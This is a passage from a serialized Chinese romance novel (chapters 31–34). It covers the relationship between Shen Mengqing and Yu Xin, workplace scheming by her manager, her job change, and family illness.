米白色的沙发垫上,不知何时晕开了一小块显眼的印记。 他大脑空白了一瞬,在反应过来那是什么后,余辛不由自主地有些脸热,耳尖眨眼间泛红。 他在原地迟滞了几秒,随后,连忙从房间里取出来一条深色的毯子盖在她身上,手忙脚乱地拿起手机,衣服没换帽子也没戴地出了门。 由于身体不适,沈孟青睡得不安稳,睁开眼睛时,她额边的发丝都被薄汗浸湿,小腹下坠感更加强烈了,腰酸得她怎么躺都不舒服。 等感受到潮热时,她暗道不妙,起身环视了一圈,没看见余辛的身影,她慢吞吞走去了洗手间。 果不其然,生理期来了。 可是现在手边什么也没有,她也没办法直接这样回去。 沈孟青无助地拿起手机,准备点个外卖下单卫生巾,只有这个办法了。 这时,外头传来开门的声音。 是余辛回来了。 她正犹豫着要怎么和余辛开口,卫生间的门就被敲响了。 余辛猜到了她在这,朝她说道:“我给你买好了。” 沈孟青张了张嘴,把打好的草稿咽了回去,小步走到门口,她打开门后余辛只伸出了一个胳膊,递了包卫生巾进来。 “谢谢。”沈孟青轻声说。 她转而又道:“我这裤子没法再穿了,你有没有衣服能借我穿一下,我回去之后会洗好还你。” 余辛回答她道:“有,你等我拿一下。你今晚就住这吧,我这有烘干机,你洗了身上这套衣服,明天可以继续穿。” 话音一落,他不等沈孟青说话,提脚就走。 沈孟青纠结了片刻,最终还是接纳了他的提议,毕竟她还痛着经,在这凉风阵阵的晚上走回去简直会要了她半条命。 余辛给她准备了一次性洗漱用品和一套他还没穿过的家居服,他敲了敲门,等沈孟青把门开了条缝拿走东西后,他走到离洗手间最近的沙发位置坐下,怕沈孟青突然有什么需要他帮忙的。 浴室里的水声响起,看来几分钟内是不会需要到他了,余辛想起他方才买的一大包物品里有条生姜红糖冲剂,他当即站起身来去厨房烧水,打算冲一杯沈孟青喝。 二十分钟后,沈孟青换好他的衣服走了出来。 他们身高差的有些多,上衣的袖子和裤子的末端她都卷了好几层,才不影响拿东西或是走路之类的动作。 洗衣机正高速运转着,沈孟青这会一身清爽,除了腹痛还在作祟之外,她轻松了一些。 她走进客厅,在瞧见茶几上满满一堆东西后,她瞪圆了一双杏眼,在余辛身边坐下,问他说:“这些都是你买的?!” 余辛点点头,递来一个暖宝宝说:“已经捂热了。” “……” 沈孟青把热得发烫的暖宝宝贴在衣服上,凑近茶几一看,单卫生巾一种东西,余辛就至少买了九、十种,日用夜用,各种长度,统统都有,止痛药也有四五个品牌的,有胶囊有冲剂,红糖水和暖宝宝就更不用说了。 “我不知道哪种止痛药最有效,就上网搜了下,这几种是提到比较多的。”余辛解释说。 沈孟青放下手里的药,有点想笑地说:“余辛,我是痛经,不是快死了。” 余辛的头微垂,睫毛遮住了眼眸,藏住了他的情绪,面色凛凛。 “好点了吗?”他问道。 沈孟青呼了一口气,说:“没这么快。” 余辛凝重地皱起眉,问:“网上不是说吃了止痛药就能好吗。” 沈孟青第一次见他这么担心,一时都忘了疼,生起坏心思来。 她说:“这暖宝宝好像有点没用了,你怎么捂热的?” “没用了?” 余辛伸出手,贴在沈孟青腹前的暖宝宝上,灼人的温度透了过来。 “这样好多了。”沈孟青展颜一笑道。 “……” 余辛看穿了她的伎俩,冷冷吐槽说:“你自己没手吗?” 话虽如此,他仍旧没有收回手。 沈孟青眉眼弯弯,她伸展开手,想往沙发上撑去,不料碰到了余辛另一只手,凉得她反射一般将手缩了回来。 两人几乎是同时开口: “你这只手怎么这么冰?” “没有冷到你吧?” 沈孟青被他的话逗笑,说:“我也没这么脆弱吧,碰到你的手而已,怎么会冷到。” 她将余辛开了封的那袋暖宝宝抓了过来,撕开一个塞进余辛另一只手心里。 “晚上温度更低,你刚才出去又忘了穿外套吧?我看你是忘了上次感冒有多严重了,还想去挂一次水。” 沈孟青絮絮叨叨地说着他,余辛感受到冰冷的手在不断被一丛篝火暖化。 气氛沉寂了一会,在止痛药的作用下,痛意逐渐减退,沈孟青活络了下久坐的身子,终于没那么难受了。 “不痛了?”余辛问她。 沈孟青:“嗯,好多了。” 她握住余辛的手腕,移开了他的手,将早已降温的暖宝宝撕了下来。贴到最后,温热的来源基本只剩余辛的手。 她松松站了起来,说:“我困了,我睡哪个房间。” “我房间在那。” 这话刚说出口,余辛就愣了一下。 他反应迅速地找补道:“其他客房的床都不太舒服,也还没换好床单被单,你就睡我房间吧,我去睡客房。” 沈孟青见他态度坚定,便没再推拒,应了下来。 她往主卧走了几步,忽地转头说道:“我明天请假了不用上班,如果睡过头了,你不用管我,我起来了就会回去。” 余辛说:“好。” 过了几秒,他又说道:“如果身体不舒服,你不用急着回去的。”—— 作者有话说:嘴硬的男人一枚[墨镜] 宝子们上了个图榜为了封面显眼一点所以换了个颜色亮的,以后会换回去哒怕大家不习惯哈哈哈哈 第32章 第三十二章 下次见,弟弟。 踏进余辛房间的一瞬间, 沈孟青就闻到了他身上那种雨后青木的味道,铺天盖地地包裹住了她。 她下意识搜寻这个味道的散发点,环视了房间一圈后, 她望见了窗边的一个室内香氛。 沈孟青走了几步过去, 低头轻嗅,确认是这个味道。 她拿起瓶身, 上面没有品牌名, 但有这个香氛的名字, 是手写上去的英文, 字迹张扬但工整,已然有了些磨损的模糊感—— [The Missing Piece] 缺失的一角。 怎么有种伤感少年的意味。 沈孟青在购物软件识别了下拍好的图片, 却搜不到任何类似的商品, 看来只能下次问问余辛是怎么买到的了。 她掀开被子的一角,贴着床沿钻进了被窝里, 余辛的床又长又宽, 床上用品的面料柔软细滑,沈孟青一个转身,很快就入睡了。 而余辛仍在客厅里,他看了一会主卧紧闭的房门, 四下寂然无声。 在确认沈孟青应当是睡着了后, 他才幽幽然站起身, 走到冰箱前拿出瓶水灌了几口。 这时, 洗衣机传来工作结束的提示音,余辛脚步一顿, 走到洗衣机跟前,把沈孟青洗的衣服拿出来,放进了烘干机里。 随后他拎起水, 走进离主卧最近的一间客房。 他家从来没有别人过夜过,偶尔也就祝绍明白天在这赖几个小时,客房里床铺上只有最简单的布置。 还好,沙发上还有方才沈孟青盖过的毯子,他去取了来,就当被子用了。 客房的窗外是马路,即便拉上了窗帘,通明灯火照不进来,也时不时会有长笛鸣啸的喇叭声闷闷地透进来。 其实声音也不算大,但余辛不知是怎的,今夜对这些干扰睡觉的细微事情格外敏感。 或许是睡在客房不太习惯吧,他想道。 一晚上过去,余辛没怎么睡好,辗转反侧的,睡睡醒醒很多次。等到了早上,他看了眼手机,时间在八点。 他给人发去几条消息,而后拿起毯子,起身去沙发上继续补觉。 沈孟青从主卧出来的时候,就看见窝在沙发上面朝靠背的那团身影,看着怪可怜的。 昨天冰箱里应该还剩了些馄饨,她打算煮几个当早餐垫垫肚子,把馄饨拿出来后,她才打开灶台的排风,啪地一下,又被人摁灭了。 余辛立在她身后,低声说道:“别做饭了。” 沈孟青转过头,疑惑地问他道:“为什么?” 余辛:“怕你痛。” 沈孟青:“……” “我已经没事了。”沈孟青反手撑在灶台上,仰头迎上余辛的视线说,“而且,我现在很饿。” 余辛伸出手,二话不说拽住她的手腕,将她拉到沙发上坐下。 他说:“我来点外卖,你先喝杯红糖水垫垫肚子。” 他语气微冷,似是不容置喙,沈孟青无语地叹了口气。 昨天洗好的衣服已经烘干,被余辛叠得平平整整放在一旁,她起身拿着衣服进了房间,趁这空隙换好衣服。 大概是余辛怕她太饿,特意选的配送最快的店铺,沈孟青刚把红糖水喝到见底,早餐就被送到了。 边吃着早饭,余辛见她衣服都换了,眼眸低垂地问她道:“等会就走?” 沈孟青点点头:“行李都还没收拾呢,明天要上班了。” 他昨晚给沈孟青买的东西也还没收起来,余辛瞥了眼满满当当的茶几,说:“那那些东西?” “我等会提回去吧。” 这些东西好像余辛也用不上,只能她带走。 余辛搁下碗 ,说:“我帮你提吧。” 沈孟青咬着筷子,一双眼睛清澈明亮,遥遥看向余辛,轻哦了一声。 肚子被填饱后,沈孟青没有再待下去的理由,她怕余辛有事要忙自己在这会影响,于是便收拾好了东西,准备离开。 余辛提起昨晚买的一大袋东西跟在她身后,两人走出了住宅楼,白天外头的天气要比晚上好很多,太阳高高悬挂着,阳光明媚却不晒人,一片片洒在身上很暖和舒适。 进了沈孟青租房的小区,她在经过楼下草丛时给余辛指了指,说:“那些黄色的小野花都枯萎了,一朵都不见了。” 余辛斜斜瞥了眼,说:“你想要的话,我车上那朵给你。” “不要,那是我送你的,我哪有收回来的道理。” 沈孟青垂头看了会脚尖,随而转过身,面朝余辛倒着走路。 她笑着说:“那你车上那朵花,是今年最后一朵小黄花。” “嗯。” 余辛低声回应着她。 这个时间楼下几乎没人,除了鸟虫鸣叫和呼呼风声之外,就只有两人细细碎碎的谈话声。 上了楼,沈孟青打开门,率先进了屋。 她穿上拖鞋后,转过身,只见余辛却站在门口没有挪步进来的意思。 “不进来坐坐么?”沈孟青说道。 “不了。” 余辛伸出手,将手里的购物袋递给沈孟青。 沈孟青接过后,朝他笑着说:“谢谢,这两天麻烦你了。你……” 她话还没说完,就和斜对面开门的邻居对上了眼。 当着外人的面,她不好说太多,尤其是邻居看向余辛的眼神带着点打量和八卦,沈孟青立马心虚了些,掩饰地摆摆手道:“下次见,弟弟。” 话音一落,她就迅速地关上了门。 邻居正好经过她门口,见余辛也抬脚往电梯走去,便开口和这位高个子帅哥搭话说:“你是沈孟青弟弟啊?” 余辛看了眼他,两手一插兜,臭着脸没有说话。 邻居有些尴尬,但这帅哥瞧着太高冷了,他也不敢再问,便闭起了嘴。 …… 下午。 沈孟青吃完午饭后,终于把带回来的行李箱清空了,家里清爽了许多。 午间的困意袭来,她进了卧室,把窗帘拉满得一条缝都不剩,屋子里黑漆漆的,正适合补个午觉。 生理期总是睡不够,她感觉明明才刚闭上眼,再一睁眼时,屏幕上的数字已经飞速跳到了五点。 姜羽给她发来了好几条消息,甚至还有未接电话,她静音了,没能接到。 沈孟青点开消息一看,姜羽给她发来了一段音频文件,她边按下了播放键,边往下滑动消息。 梁军的声音从手机出声筒里传了出来,在安静的房间里响起,但他这声音不是特别清晰,忽大忽小的,听得出来姜羽是在偷偷录制。 梁军应当是在和人打电话,语气听着是熟悉的恭维: “他最近的表现很好,您放心,今年升职名额我会留给他的……那个人您不用担心,她怎么可能比得过张图呢,不会构成威胁的,我保证,张图在销售部的发展不会有任何阻碍……哎,当时让她去对接郭斌,本来是想拉低她业绩的……不论新董事是谁,我肯定会向着您的……” 整段录音只听得清这么几句话,姜羽说她本来是替梁如薇去找一个客户拿资料,当时走错了办公室要下一层楼,电梯等了太久,她就想着走楼梯算了,结果恰巧梁军在那个客户公司,还在楼道里抽烟。 姜羽不过下一层楼,不会经过梁军,她走路声音很轻,梁军打电话的声音逐渐清晰,她越听越不对劲,就按下了录音。 「太恶心了!」 姜羽评价道。 沈孟青紧紧握着手机,她听完录音,比起怒意,更多的是心凉。 其他的她都早有预料,她没想到的是,郭斌是梁军故意让她去见的。 她现在想起那晚的事情都会有些后怕,如果郭斌真的成功得手了,那将会是她一辈子不可磨灭的创伤,并且,她可能永远不知道,梁军才是背后造成她被伤害的最大推手。 沈孟青冷静了一下后,给姜羽回拨了电话。 姜羽接通后,第一句话就是:“你听了录音了?” “嗯。”沈孟青的声音还是有些抑制不住的发颤。 姜羽也恨得牙痒痒,咬牙切齿地问沈孟青说:“你准备怎么办?” 沈孟青深思熟虑了会,不论这录音有什么作用,都得等她确认了去留再说。 她沉沉说道:“先留着吧,以后用。就算我明天拿着这录音去找梁军对峙,或者是发给更高的领导,也全都没有用,他背后有大股东撑腰,这录音也不是什么实质性错误,他不会受到多大的处分。” “你说得有道理。”姜羽说,“行,那如果你有需要我帮忙的地方随时和我说。” 这事暂且搁置到一边,姜羽知道沈孟青节前去叁通面试了,为了调节气氛,她开玩笑般地问道:“叁通那边怎么样,沈总看得上不?” 沈孟青适时地一笑,说:“挺好的,有点心动了。” 姜羽说:“如果换作是我,我也会心动的,那可是董助,你一人之下万人之上啊,这不比在愈生做这破销售好多了,还没有梁军那种弱智上司。” “什么一人之下万人之上,你把各种股东、总经理和各种主任放哪了,只不过是个离皇帝近点儿的跑腿罢了,若是真出了什么事,皇帝一发怒,怒火最先烧到的就是董助。”沈孟青说,“不过上司的确看起来比梁军好了不止一点半点。” 姜羽:“不管怎么样,我觉得以你的能力肯定能面试通过的,就提前祝贺你拿到offer啦。” 忽然间,姜羽语调伤心了好几分,心情沉重地说:“你要是回楚城了,我怎么办啊,在这个公司都没有好朋友了。不对,是在这个北城都没有了,楚城怎么离北城那么远啊,我连谈恋爱都谈不了异地恋。” “我也谈不了。” 沈孟青眼尾原本带着笑意,在说出这话后,笑容淡了下来—— 作者有话说:辛子:不许再做饭了(霸总style 阿青:有病! 第33章 第三十三章 是他的车 秋风阵阵, 日夜轮转,温度在某几个时刻一降再降,令人烦闷的暑热彻底消退, 转眼间, 就到了十一月。 沈孟青在十月中旬收到了叁通的面试结果,如她预料, 她通过了岗位的面试。 但是, HR那边说想要她来试岗半个月, 再最终敲定结果, 沈孟青对于这个突然提出的条件有些生气,HR也表示了歉意, 这个事情是董事长那边突然提出来的, 她也没有办法去争取。 最后,沈孟青和叁通那边达成了一致, 给她一个月时间处理完愈生这边的事情, 然后去试岗一周。 毕竟据小道消息,裁员名单刚刚好在十一月底公布,她面试叁通的事愈生的HR肯定也有所察觉,这种事情在行业内向来是透明的, 如果她请假两周, 梁军必然会借题发挥, 让她走人。 她得想办法稳妥度过这一个月, 不能让任何一个选择,断了自己的退路。 在百忙之中, 她还抽空找了一天约郝奇思出来吃饭,自掏腰包关怀一下自己这表弟。 郝奇思挑了个自助餐店,他天天抱怨学校的食堂不够好吃, 宿舍离地铁还远,打车又贵,根本找不到出来吃饭的机会,也就只有靠他表姐了。这自助餐餐厅就在他学校附近,打个车不用多少钱,还能一次性吃到各种菜品,正合他意。 沈孟青准点下了班,她走到写字楼楼下的路边,网约车还要过几分钟才到,她裹紧了颈间的围巾,懊悔着应该晚点再走出来的,还能在大堂暖和一会。 她将双手放进大衣的口袋里,朝网约车过来的方向远眺,在寒风中期盼着红灯快些变绿。 不成想,已经过去了两次绿灯,网约车依旧没到,地图上的路线显示一条红色,在凝固住的拥挤车潮之间,她看见了一辆黑车,从他们写字楼的地下停车场出来,一脚油门切入另一条车道,飞速驶远。 是余辛的车。 风吹得她脸有些僵,连带着她的所有感官,都失去了知觉。 又有一段时间没再见过余辛了。 好像即便是眼下看见了他的车,落在她的视野里,和马路上经过的千千万万辆车没什么不同。 不过都是些没有停驻的赶路人。 只要他不出现,他们俩的生活就可以毫无交集,迅速的闯入,迅速的抽离,不会有任何对方的消息来打扰。 沈孟青内心没什么波动,大家都是成年人,有自己的责任,在失去联系的日子里,或许他和自己一样,在真实的生活中忙碌。 这种关系才是她想要的不是吗,只有这样,才能在了断的时候,两人能干脆利落地不留下任何伤害。 网约车喇叭的轰鸣声强行扯回了沈孟青的思绪,她如梦初醒,开门坐上了车。 正是晚高峰时间,前窗被一长条亮红的汽车尾灯占满,沈孟青坐在后座,拿出手机给郝奇思发去消息,说自己要晚点到,他饿的话可以先吃。 郝奇思很快回复她说没关系,她可以慢慢来,反正他还在和同学打篮球。 四十分钟后,沈孟青终于到了目的地。 郝奇思几分钟前到的,正坐在店门口等位的椅子上等她。 沈孟青付完了钱,和郝奇思走了进去,随便找了个空座把包一放,两人便马不停蹄地去取餐了。 她饭量小些,不过拿了两三盘,等她吃完一盘菜了,郝奇思才彻底结束了他的挑选。 “你们学校不让你们吃饭?”沈孟青打趣说。 郝奇思叉起一块牛排送进嘴里,边嚼边说道:“你都不知道食堂打饭的人手抖得多厉害,而且,那些菜比起我妈炒的差远了,我吃不惯。” 她点点头,又问:“三姨想盘铺子是要开餐馆?” “对啊,就在我们小区门口开一个,这样方便。她问了空铺出租的人,一个月三千块钱,只是保证金要押好几个月的,开店的前期投入多一些,她就有点决定不下来。毕竟我上大学的学费和生活费支出挺多的,如果等我找到兼职了可能好些。”郝奇思说道。 三姨的厨艺是很好,在郝孟这四姐妹里是最强的,沈孟青那些炒菜手艺就是向三姨学的,她想了想,三姨现在没有稳定的工作,到处给人打临时工,如果能开店确实不错。 沈孟青朝郝奇思说:“不耽误你学业的情况下,你找兼职我是支持的。不过其实你也可以好好学习,争取一下学校奖学金。” “这个我也了解下,确实不少钱,我已经在努力学习了。”郝奇思认真地说。 他不算什么学习的料子,考的也就是个普通二本,比不得沈孟青这种985大学毕业的学生,但是他有一个优点,那就是不轻易放弃,为了奖学金,郝奇思愿意去努力学习。 沈孟青有些欣慰,握筷子的手一放,笑着说:“你长大了不少啊,还知道体谅你妈了,我还记得你小时候犟得不行,你妈把你耳朵拎起来打你都不听她的话。你还别说,你这几个月在学校吃的差了,长瘦了,人都更帅了。” “哎呀。”郝奇思被沈孟青夸得有些招架不住,脸都红了,只是皮肤太黑了红意透不出来,“低调低调,我都快成我们系的系草了。” 沈孟青白了眼:“得了吧你,那你还得去健身房练练。” 郝奇思立马来了劲:“我每天都去的。” “好好好。”沈孟青生怕他下一秒就要展示自己似有若无的肌肉了,她转移话题说,“你现在每周的课多吗,会天天和你妈打电话吗?” “有点多,大一大二课程最多,之后就会安排得松散些,好让我们出去实习。我最近没怎么和我妈电话联系,她不是在医院陪你妈呢。” 这话刚说出来,郝奇思刚咽下去的菜瞬间噎在喉咙中间,吞不下去。 “医院?”沈孟青一怔。 郝奇思急忙喝了几口杯子里的饮料,咳了几声才缓过气来,说:“不是,姐,你听错了。” 沈孟青神色一冷:“你当我幼儿园小孩?再不说实话以后不带你出来吃饭了。” “……” 完蛋了完蛋了,他妈千叮咛万嘱咐他嘴巴闭紧,还是被他说漏嘴了。 郝奇思搓了搓手,讪笑着说:“姐,我告诉你,你可千万别说是我告诉你的啊。” “说。”沈孟青抱起手,往椅背一靠。 郝奇思干巴巴咽了下口水,说道:“也不是什么大事,就是听我妈说,二姨体检的时候甲状腺结节加重了点,医生建议做个小手术,前两天已经成功做完了,还在医院康复,估计过不了几天就能出院了。” 沈孟青心下一沉,郝孟患上甲状腺结节好几年了,每年都定期复查,没想到还是加重了,做手术还瞒着她。 她闷闷说着:“这叫不是什么大事?” “真的没事了,我妈说情况挺好的,很顺利。”郝奇思不知道怎么安慰她。 沈孟青叹了口气:“我还是回去一趟吧。” 既然如此,那就把去叁通的试岗提前吧。 “好吧。”郝奇思继续吃了起来,“如果我是你,我也会选择回去的。” “那你这回别把我要回去的事说漏嘴了。”沈孟青瞪了眼郝奇思,“等会我妈知道了,肯定会劝我。” 郝奇思当即伸出手:“我发誓,我绝对不说。” 沈孟青拍掉他的手,说:“你最好是。” 又吃了一会,郝奇思忽然瞥了眼沈孟青,说:“姐,你和余辛哥和好了没啊?” 沈孟青差点被呛到,清了清嗓,说:“你一小孩别管大人的事情。” “这算什么大人的事情,我也会和朋友吵架啊,又不是只有大人才会有这种问题。”郝奇思无语地小声吐槽说,“这也不能告诉我,亏得我还为了你们俩的事情鞍前马后。” 沈孟青说:“我可没叫你帮忙。” “可我是为了你啊。”郝奇思委屈得很。 “行行行。我们和好了,行了吧?”沈孟青说。 郝奇思:“那就不枉我为了你们做出的努力了,我觉着余辛哥人挺好的,是个值得深交的朋友。” 沈孟青冷哼了声:“切,你是怕以后蹭不到他那辆劳斯莱斯吧,人家的车你还拍照发朋友圈,你怎么这么虚荣。” “我靠,你怎么看见的,我屏蔽分组点错了吗。”郝奇思随即拿出手机,点进之前那条朋友圈确认。 还好还好,只是漏了把沈孟青分组进去,不然要是被他妈看见了,指不定打断他的腿。 他收起手机,说:“我也不是虚荣,这不是我这阶层见不到的吗,我朋友圈也都没见过,带他们见见世面。” “行,反正你要记住,一切都要靠你自己的双手得到,不要被一些光鲜亮丽蒙蔽了双眼,尤其是在北城。” 沈孟青说完后,又觉得自己太说教了些,放下庄重严肃的姿态随口说:“总之,你现在好好学习就行。” 郝奇思说:“会的会的,不过姐,余辛哥是做什么工作的,怎么这么有钱啊?” “酒……”沈孟青把下意识脱口而出的话塞了回去,说,“他应该是富二代,到处投资呢。” “原来是赢在了起跑线,那我不羡慕了。”郝奇思说道。 一顿饭吃完,沈孟青给郝奇思叫了个车,送走他后,才自己回了家。 坐在车上,她将头靠在窗上,任由脑袋放空,渐渐神游。 手指无意识地滑动着手机屏幕,输入框的光标在黑暗中不断跃动,当她思绪回笼后,沈孟青才看清屏幕显示着她在编辑短信。 接收对象是余辛的电话号码。 沈孟青手指一顿,连忙划了几次屏幕,退出了界面。 心跳莫名有些加速,她深呼吸了下,平复躁动的心情。 还好没加好友,短信不会显示对方正在输入中。 她好像认知出错了,当初就不应该阴差阳错让他认识郝奇思,在她没注意到的时候,余辛已经在她生活的罅隙里渗透进来了。 正想着,手机铃声猝不及防地响起,她被吓了一跳。 看清屏幕上刚才才见过的号码后,沈孟青脑子一滞,接通电话后径直说道:“是我点错了。” “?” 余辛差点没转过弯来,静默了一会后,沉声说:“是我打的电话。” “啊。”沈孟青这才反应过来,“我……” 余辛轻笑了声,但沈孟青敏锐地察觉到,他的语调有点重,像是有心事一般。 他说:“你想给我打电话?” “没有。”沈孟青极速否认。 余辛没有揪着她追问,转而说道:“你在哪?” 沈孟青咬着下唇,眼睛看向窗外暗无边际的夜色,说道: “我在楚城。”—— 作者有话说:又到了别扭期嘤嘤嘤[求你了] 第34章 第三十四章 她怎么又回了楚城。 余辛眉头紧锁:“楚城?” 电话那头传来轻轻一声:“嗯。” 他安静了片刻, 才淡淡说了句:“好。” 没过多久,电话被挂断。 又是一次无疾而终的尝试。 余辛靠着墙站了会,医院的消防疏散通道很安静, 灯光明亮, 照亮层层叠叠上下深贯的楼梯。 他转过身,打开了重重掩上的安全出口的门, 回到走廊上, 四下依旧没什么声响, 医院住院部高楼的vip病房, 向来如此静谧。 刺鼻的消毒水占据他的鼻腔,白色制服的医生护士在他身边经过, 余辛的脚步停留在一个icu病房外, 隔着玻璃眼神晦暗地向里看去。 陈姨刚好走了出来,她瞧见余辛, 拉了拉他的胳膊, 低声说:“你还没吃饭吧?饿不饿,先去吃饭,我在这守着就行。” 余辛身体没有挪动,只问她说:“陈姨, 你有烟吗?” 陈姨给了他一记眼刀:“我哪来的烟。” “我爸的烟呢?”余辛说。 陈姨手劲十足地拧了一把他, 说:“你个小不死的, 就你爸那个肺, 能活着就不错,还敢抽烟, 他还嫌病得不够重是吧。” 她还嫌没骂够,瞪着他说:“你再抽烟试试,别以为你年轻身体还经得造, 到时候和你爸一样落个这病。” 说完,陈姨又感觉不吉利,连忙呸呸呸了几声,眼里泛起了点泪光。 余辛嘴角抽了抽,抬脚缓缓往外走了。 “去哪?”陈姨在他背后问道。 余辛没有回头,背影在医院走廊冷白的灯光下显得瘦瘦绰绰的,看着怪孤单。 他说了声:“去吃饭。” 余辛穿着黑色的大衣,整个人脸色白皙,没什么血色,眼里都是冷意,走进电梯的时候,里头站着对母女,小女孩抬头看见他,下意识往母亲身后缩了缩身子,不敢看他,觉得这男人长得像电视剧里的地狱使者似的。 医院附近的餐厅挺多的,余辛只想吃一碗热乎的馄饨,最好是像沈孟青做的一样,会加小虾米和紫菜的那种。 他前些天让陈姨做过一次,但味道怎么都不对,吃了半碗他便吃不下了。 自打那个人来找过他后,他的食欲就越来越差了。 没走几步,他就运气很好地遇上了一家面馆,余辛掀开门口遮风的油布帘子,走了进去。 店家老板是一对上了年纪的夫妻,余辛就点了一碗最便宜的素馄饨,找了个角落的位置坐下。 店里的人不少,锅里热气泛起的白雾从厨房里飘飘袅袅出来,晕绕在大堂里,很有烟火气。 他点的馄饨被端上了桌,只撒了一把葱花,很是清淡。 余辛抽出张纸,擦了擦勺子,随后握住勺子在汤里搅了搅,舀起一个馄饨送进嘴里。 他没抱什么希望,但出乎意料得还不错。 他两眼看向门外的马路,细嚼慢咽着,可口鲜美的馄饨味在嘴里散开。 余莫成是今晚突然病情加重的,就在半个小时前。 他和陈姨坐在病房里,陈姨照顾了一天,正窝在椅子上补觉,他就靠在门边,看手机里的消息。 在听见机器发出尖锐的声音时,他反应迅速地按下了铃喊来护士,同时,他感觉心脏像是被人揪紧一般,无法正常的呼吸,指尖都在细微地颤动。 原来他对于余莫成的死亡,也是会恐惧的。 陈姨被惊醒,房间里瞬间进来了很多人,医生和护士对余莫成进行了一番检查后,表示状态不太乐观,建议转入icu。 余辛和陈姨帮护士一起推着病床,等在icu病房重新安置好后,护士说家属要先在外等候,他便走了出来。 他早已安定下来,透过玻璃,他凝视着余莫成陷入昏睡的脸庞,有种说不出的滋味。 可笑的是,在他沉睡的日子里,竟然是他们成为父子以来,相处最和谐的一段时间。 周遭安静得没有一丝声音,他看向医院走廊上挂着的时钟,倏尔有一股冲动,想要打电话给沈孟青,把自己隐瞒的所有都全盘托出。 他想约她见面,却没想到,她会在楚城。 她怎么又回了楚城。 余辛手一顿,想起一件事来。 上个月他在一个商务酒局上见到了叁通的杨川,他们聊着聊着,杨川说起最近有个愈生的销售应聘了叁通的董助,他对那人很满意,准备留下。 余辛随口问了句是谁,杨川便直接在手机里打开了简历,当他看见屏幕上沈孟青那张面带微笑的证件照后,眸色瞬时冷了下来。 她不是口口声声说要在北城买房吗,不是要为了她爸爸在北城生活吗,怎么会要回楚城去。 杨川见他盯着屏幕出神,便开口问他认不认识这人,余辛摇摇头,说他不认识。 他向杨川建议说董助这个职位很重要,考核期还是得久一点,不要轻易定人,他爸也因为助理的问题工作上出过差错。当然,他不是说这个应聘人会有什么问题,只是希望杨川留一个心眼。 当时他刚说完,杨川就应和他说有道理,余辛以为他听进去了。 难道,沈孟青这次是要去叁通确认入职吗。 想至此,他立马拿出手机,给郝奇思发去消息,问他沈孟青回楚城是做什么。 郝奇思很快回复说: 「我姨做了手术,她回去探望一下。」 余辛松了口气,但仍有些没来由地害怕。 他踌躇了一番,随即点开购票软件,买下了明天去楚城的票- 沈孟青当晚就给梁军请了假,梁军显然是对她略有不满,在同意之后,敲打了她一句,说她最近请假的次数有点多。 她现在已然看开了,能内心平静地面对梁军对她的指责。 为了能尽快回到楚城,她直接买下晚上的卧铺票,连行李都没怎么收拾,只胡乱塞了几件通勤套装,就往火车站赶去。 在爸爸离世之后,她对郝孟的身体状况十分敏感,比郝孟自己还紧张得不行,即便郝奇思告诉她了郝孟这个手术很顺利,是个很小的手术,她依旧担心得不行,像是有千斤重的担子压在胸膛上一般。 卧铺的时间还算合适,她买的下铺的票,为了防止自己总是胡思乱想,她一上车便和衣而睡。 晚上躺足了八九个小时,真正睡着的时间却没多少,中途总是被来来去去的旅客吵醒,她在六点自然醒后便懒得再睡,简单洗漱了一下后,差不多快到了楚城的老火车站。 顺利出站后,沈孟青拦了辆出租车,径直往医院赶去。 郝孟在普通的住院病房,一个房间放了三张床,沈孟青走进去时,中间那张病床是空的,靠门口的是一个老奶奶,郝孟躺在最里头的病床,背对着门。 时间尚早,郝孟还没睡醒,沈孟青伏在她病床边,闭上眼补觉。 大概过了快一个小时,三姨正好来送早饭,见到趴在床边的沈孟青,她揉了揉眼睛,怀疑是自己看错了。 她轻柔地拍了拍沈孟青,等她幽幽转醒,小声问道:“你这孩子,怎么回来了,也不提前和我说一声我去接你。” 沈孟青睡眼惺忪地站了起来,把松散在肩头的头发扎了个低马尾,说:“我也是临时决定的。” 三姨翻了翻提来的保温袋:“还好带了挺多粥和包子的,够你和你妈吃了。” 郝孟这会也醒了,见到沈孟青不免也是一愣,喃喃着:“你怎么回来了。” 沈孟青哼了声,说:“要不是我回来,我都不知道你做了手术呢。” 郝孟眼神犀利地看向三姨,三姨猜到了是郝奇思这小子告诉了沈孟青,装忙地给她们端出早餐,边说着:“先吃早饭吧,别凉掉了。” 包子是三姨自己做的,沈孟青吃了口,皮薄馅大,十分美味,她问道:“三姨,听说你想开店啊?” “郝奇思怎么什么都往外说。”三姨尴尬地笑了笑。 “挺好的呀,如果有什么需要帮忙的地方,尽管和我说。”沈孟青说。 三姨摆摆手:“哪有需要你的,你好好在北城上班就行。你坐卧铺来的吧?等会你先回去休息,我陪着你妈,你休息好了再来。” “对。”郝孟帮腔说,“小青,你先回去睡个觉。” 沈孟青:“我吃完就回去。” 她边吃着,恰巧有护士来查房,她怕三姨和郝孟隐瞒情况,便问了下护士,还好,郝孟的确没什么大事了,过几天就可以出院了,沈孟青终于放下心来。 她没休息好,现下看着比郝孟还要憔悴,吃完饭后她便离开了医院,回家补觉去。 …… 这一觉沈孟青睡了快六个小时,午饭都没吃,再醒来时已经三点多了。 三姨会备好郝孟的一日三餐,她出门之后在小区附近随便吃了一顿垫垫肚子,晚上就蹭郝孟的饭。 赶到医院时,病房里热闹了许多,门口病床奶奶身边坐着对中年夫妻,估计是她的小孩,沈孟青和他们撞上眼神,浅笑着点了个头。 她走到三姨身边坐下,三姨拍了拍裤子,说:“正好你来了,我回去炒菜去,晚上再来。” 三姨一走,她和郝孟之间的氛围不久便沉寂下来,沈孟青瞥见床头放的水果,拿起个苹果削皮给郝孟吃。 郝孟捶着腿,抬眼看了下沈孟青,说:“我上个月遇见过一次小林的爸妈。” 沈孟青握住刀的手一顿,应了声:“哦。” “他和你分手之后没多久就找了个富二代女朋友,这事你怎么没和我说,他不会是出轨了吧?”郝孟皱着眉头,心事重重地说道。 沈孟青递给她削了个干净的苹果,说:“不是,他要真是出轨,我肯定会找他要个说法的。不过,他那应该算无缝衔接。” 郝孟泄愤般狠狠地啃了几口苹果:“那也不行,我还以为小林人品不错呢,以后再碰到他爸妈,我不会再给他们好脸色了。” 她话锋一转:“对了,那你和李青河怎么样了?” 病房的门忽然被人关上,是那对中年夫妻出了门,只是,门板中心模糊的玻璃还透着一层黑影,有人站在门前似的。 “就那样吧。” 沈孟青敷衍地回答道。 见郝孟还想追问,沈孟青转而提起另一件事来。 “妈,我想回楚城发展了,你觉得怎么样?” 郝孟这下彻底怔住,嘴里吃进去的苹果都忘了嚼。 